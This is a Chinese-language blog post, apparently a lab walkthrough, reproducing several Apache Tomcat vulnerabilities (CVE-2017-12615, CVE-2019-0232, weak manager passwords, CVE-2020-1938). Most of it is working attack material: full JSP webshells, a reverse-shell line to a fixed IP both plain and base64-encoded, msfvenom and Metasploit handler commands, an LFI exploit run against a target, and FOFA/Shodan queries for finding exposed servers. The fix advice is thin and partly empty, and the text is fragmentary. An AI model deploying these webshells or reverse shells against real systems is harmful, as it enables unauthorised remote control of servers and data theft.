原创 | web中间件安全-Tomcat漏洞复现
前言
Tomcat简介
Tomcat安装
https://www.oracle.com/cn/java/technologies/javase/javase-jdk8-downloads.html
https://tomcat.apache.org/download-80.cgihttps://archive.apache.org/dist/tomcat/tomcat-8/
http://localhost:8080
显示一下页面表示安装成功:
C:\Program Files\Apache Software Foundation\Tomcat 8.5
漏洞复现
1、任意文件写入(CVE-2017-12615)
1)影响范围
Tomcat 7.0.0-7.0.81(默认配置)8.5.19sudo docker pssudo docker exec -ti 0f864 bashcat conf/web.xml | grep readonly
http://192.168.3.14:8080
2)漏洞复现
1. 空格绕过PUT /ch4nge.jsp%20上传到windows会被自动去掉末尾空格2. NTFS流绕过::$DATA3./绕过PUT /ch4nge2.jsp/
<% import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
::$DATA
,第三个正常
<%@ page import="java.util.*,java.io.*"%><%if (request.getParameter("cmd") != null) {out.println("Command: " + request.getParameter("cmd") + "<BR>");Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));OutputStream os = p.getOutputStream();InputStream in = p.getInputStream();DataInputStream dis = new DataInputStream(in);String disr = dis.readLine();while ( disr != null ) {out.println(disr);disr = dis.readLine();}}%>
http://192.168.3.14:8080/ch4nge2.jsp?cmd=id
3)修复建议
2、远程代码执行(CVE-2019-0232)
1)影响范围
Apache Tomcat 9.0.0.M1 to 9.0.17Apache Tomcat 8.5.0 to 8.5.39Apache Tomcat 7.0.0 to 7.0.93影响系统:Windows复现环境:9.0.17
2)环境搭建
<servlet><servlet-name>cgi</servlet-name><servlet-class>org.apache.catalina.servlets.CGIServlet</servlet-class><init-param><param-name>cgiPathPrefix</param-name><param-value>WEB-INF/cgi-bin</param-value></init-param><init-param><param-name>enableCmdLineArguments</param-name><param-value>true</param-value></init-param><init-param><param-name>executable</param-name><param-value></param-value></init-param><load-on-startup>5</load-on-startup></servlet>
1. enableCmdLineArguments启用后会将Url中的参数传递到命令行2. executable 指定了执行的二进制文件,默认是 perl,需要置为空才会执行文件本身。
<Context privileged="true">
C:\Program Files\Apache Software Foundation\Tomcat 8.5\webapps\ROOT\WEB-INF
下创建cgi-bin目录,并在该目录下创建一个ch4nge.bat的文件,内容任意
3)漏洞复现
http://127.0.0.1:8080/cgi-bin/ch4nge.bat?&dir
4)漏洞原理分析
rem ch4nge.batecho %*
import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;public class ch4nge{public static void main(String[] args){Process p;String [] cmd={"ch4nge.bat", "ch4nge", "&", "whoami"};try{//执行命令p = Runtime.getRuntime().exec(cmd);//取得命令结果的输出流InputStream fis=p.getInputStream();//用一个读输出流类去读InputStreamReader isr=new InputStreamReader(fis);//用缓冲器读行BufferedReader br=new BufferedReader(isr);String line=null;//直到读完为止while((line=br.readLine())!=null){System.out.println(line);}}catch (IOException e){e.printStackTrace();}}}
# ch4nge.shfor key in "$@"doecho '$@' $keydone
import java.io.BufferedReader;import java.io.IOException;import java.io.InputStream;import java.io.InputStreamReader;public class ch4nge{public static void main(String[] args){Process p;String [] cmd={"/root/桌面/tomcattest/ch4nge.sh", "ch4nge", "&", "whoami"};try{//执行命令p = Runtime.getRuntime().exec(cmd);//取得命令结果的输出流InputStream fis=p.getInputStream();//用一个读输出流类去读InputStreamReader isr=new InputStreamReader(fis);//用缓冲器读行BufferedReader br=new BufferedReader(isr);String line=null;//直到读完为止while((line=br.readLine())!=null){System.out.println(line);}}catch (IOException e){e.printStackTrace();}}}
$@ ch4nge$@ &$@ whoami
5)修复建议
1)影响范围
2)环境搭建
docker psdocker exec -ti 8e4 bashcd confdocker cp 8e44ff73d992:/usr/local/tomcat/conf/tomcat-users.xml /root/Desktop/docker cp 8e44ff73d992:/usr/local/tomcat/conf/tomcat-users.xsd /root/Desktop/docker cp 8e44ff73d992:/usr/local/tomcat/conf/web.xml /root/Desktop/
<tomcat-users xmlns="http://tomcat.apache.org/xml"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://tomcat.apache.org/xml tomcat-users.xsd"version="1.0"><role rolename="manager-gui"/><role rolename="manager-script"/><role rolename="manager-jmx"/><role rolename="manager-status"/><role rolename="admin-gui"/><role rolename="admin-script"/><user username="tomcat" password="tomcat" roles="manager-gui,manager-script,manager-jmx,manager-status,admin-gui,admin-script" /></tomcat-users>
C:\tomcat9\conf\Catalina\localhost
路径下的manager.xml文件,如果该路径下面没有此文件,则新建,内容如下:
<Context privileged="true" antiResourceLocking="false" docBase="${catalina.home}/webapps/manager"><Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="^.*$" /></Context>
3)漏洞复现
方法一将jsp的webshell压缩成zip文件,把文件后缀修改为war或者zip命令zip -r - ch4nge.jsp > ch4nge.war方法二,java命令jar -cvf ch4nge.war ch4nge.jsp
<%@page contentType="text/html;charset=gb2312"%><%@page import="java.io.*,java.util.*,java.net.*"%><html><head><title></title><style type="text/css">body { color:red; font-size:12px; background-color:white; }</style></head><body><%if(request.getParameter("context")!=null){String context=new String(request.getParameter("context").getBytes("ISO-8859-1"),"gb2312");String path=new String(request.getParameter("path").getBytes("ISO-8859-1"),"gb2312");OutputStream pt = null;try {pt = new FileOutputStream(path);pt.write(context.getBytes());out.println("<a href='"+request.getScheme()+"://"+request.getServerName()+":"+request.getServerPort()+request.getRequestURI()+"'><font color='red' title='点击可以转到上传的文件页面!'>上传成功!</font></a>");} catch (FileNotFoundException ex2) {out.println("<font color='red'>上传失败!</font>");} catch (IOException ex) {out.println("<font color='red'>上传失败!</font>");} finally {try {pt.close();} catch (IOException ex3) {out.println("<font color='red'>上传失败!</font>");}}}%><form name="frmUpload" method="post" action=""><font color="blue">本文件的路径:</font><%out.print(request.getRealPath(request.getServletPath())); %><br><br><font color="blue">上传文件路径:</font><input type="text" size="70" name="path" value="<%out.print(getServletContext().getRealPath("/")); %>"><br><br>上传文件内容:<textarea name="context" id="context" style="width: 51%; height: 150px;"></textarea><br><br><input type="submit" name="btnSubmit" value="Upload"></form></body></html>
4)冰蝎上线
https://github.com/tennc/webshell
5)MSF上线
exploit/multi/http/tomcat_mgr_upload
6)修复建议
2、增加对于本地和基于证书的身份验证,部署账户锁定机制《对于集中式认证,目录服务也要做相应配置)。在CATALITNA_HOME/conf/web.xml文件设置锁定机制和时间超时限制。
3、以及针对manager-gui/manager-status/manager-script等目录页面设置最小权限访问限制。
4、Tomcat manager口令爆破方法
1)获取用户名密码字段
http://192.168.253.86:8080/manager/html
tomcat:tomcat
2)爆破
Custom iterator
dG9tY2F0OnRvbWNhdA==
3)修复建议
0. 使用复杂密码1.取消manager/html功能。2. manager页面应只允许本地IP访问
5、Tomcat AJP文件包含漏洞分析(CVE-2020-1938)
1)影响版本
Apache Tomcat 9.x < 9.0.31ApacheTomcat 8.x < 8.5.51ApacheTomcat 7.x < 7.0.100ApacheTomcat 6.x
2)漏洞复现
docker-compose up -d
https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi运行环境:python2
靶机地址:192.168.11.92python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.11.92 -p 8009 -f /WEB-INF/web.xml
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.11.92 -p 8009 -f ch4nge.txt
http://www.jackson-t.ca/runtime-exec-payloads.htmlpayloadbash -i &>/dev/tcp/192.168.10.225/8888 <&1
<%java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSAmPi9kZXYvdGNwLzE5Mi4xNjguMTAuMjI1Lzg4ODggPCYx}|{base64,-d}|{bash,-i}").getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");%>
查看iddocker ps复制到服务器路径docker cp /root/Desktop/ch4nge1.txt e20097e2c8c1:/usr/local/tomcat/webapps/ROOT查看文件docker-compose exec tomcat cat webapps/ROOT/ch4nge1.txt
nc -lvp 8888
3)MSF上线
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.10.225 LPORT=6666 R > shell.txt
docker cp /root/Desktop/shell.txt e20097e2c8c1:/usr/local/tomcat/webapps/ROOTdocker-compose exec tomcat cat webapps/ROOT/shell.txt
use exploit/multi/handlerset payload java/jsp_shell_reverse_tcpset lhost 192.168.10.225set lport 6666exploit -j
要想文件包含,必须要运行包含的文件,所以目标文件是jsp才可以,这里需要修改exp中第296行的文件名asdf为asdf.asp
python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.11.92 -p 8009 -f shell.txt
4)修复建议
2、禁用AJP协议
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443" />
<!--<Connectorport="8009" protocol="AJP/1.3"redirectPort="8443" />-->
<Connector port="8009"protocol="AJP/1.3" redirectPort="8443"address="YOUR_TOMCAT_IP_ADDRESS" secret="YOUR_TOMCAT_AJP_SECRET"/>
FOFA&Shodan搜索方法
fofaapp="Apache-tomcat"shodanproduct:"Apache Tomcat/Coyote JSP engine" http.html:"Managing Tomcat"
参考
相关文件下载
提取码:ar20
